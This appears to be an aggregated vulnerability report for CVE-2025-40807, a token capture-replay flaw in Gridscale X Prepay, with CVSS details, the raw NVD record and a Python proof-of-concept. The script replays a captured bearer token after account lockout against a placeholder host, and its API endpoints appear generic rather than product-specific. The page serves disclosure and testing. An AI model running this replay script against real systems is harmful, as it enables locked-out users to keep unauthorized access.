Security Vulnerability Report
中文
CVE-2025-40807 CVSS 6.3 MEDIUM

CVE-2025-40807

Published: 2025-12-09 16:17:46
Last Modified: 2026-01-02 21:13:10

Description

A vulnerability has been identified in Gridscale X Prepay (All versions < V4.2.1). The affected application is vulnerable to capture-replay of authentication tokens. This could allow an authenticated but already locked-out user to establish still valid user sessions.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:siemens:gridscale_x_prepay:*:*:*:*:*:*:*:* - VULNERABLE
Gridscale X Prepay < V4.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40807 PoC - Gridscale X Prepay Token Replay Attack # This PoC demonstrates the capture-replay vulnerability import requests import json TARGET_HOST = "https://gridscale.example.com" TARGET_API = f"{TARGET_HOST}/api/v1" def exploit_cve_2025_40807(): """ Steps to exploit CVE-2025-40807: 1. Authenticate with valid credentials (low-privilege account) 2. Capture the authentication token from response 3. Account gets locked (by admin or security policy) 4. Replay the captured token to establish valid session """ # Step 1: Normal authentication login_data = { "username": "attacker_account", "password": "password123" } auth_response = requests.post( f"{TARGET_API}/auth/login", json=login_data ) if auth_response.status_code == 200: # Step 2: Capture the token token = auth_response.json().get("token") print(f"[+] Captured Token: {token}") # Simulate account lockout scenario # In real attack, this could happen via: # - Multiple failed login attempts # - Admin manually locking the account # - Security policy triggering lockout # Step 3: Account gets locked (simulated) print("[*] Account has been locked by security policy") # Step 4: Replay the captured token headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Attempt to access protected resource with replayed token exploit_response = requests.get( f"{TARGET_API}/user/profile", headers=headers ) if exploit_response.status_code == 200: print("[+] VULNERABLE: Token replay successful, session still valid!") print(f"[+] Response: {exploit_response.text}") return True else: print("[-] NOT VULNERABLE: Token was properly invalidated") return False else: print("[-] Authentication failed") return False if __name__ == "__main__": exploit_cve_2025_40807()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40807", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:45.853", "lastModified": "2026-01-02T21:13:10.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Gridscale X Prepay (All versions < V4.2.1). The affected application is vulnerable to capture-replay of authentication tokens. This could allow an authenticated but already locked-out user to establish still valid user sessions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-294"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siemens:gridscale_x_prepay:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.1", "matchCriteriaId": "6319BAE3-F7F9-4970-A787-221D0F1F49C4"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-356310.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}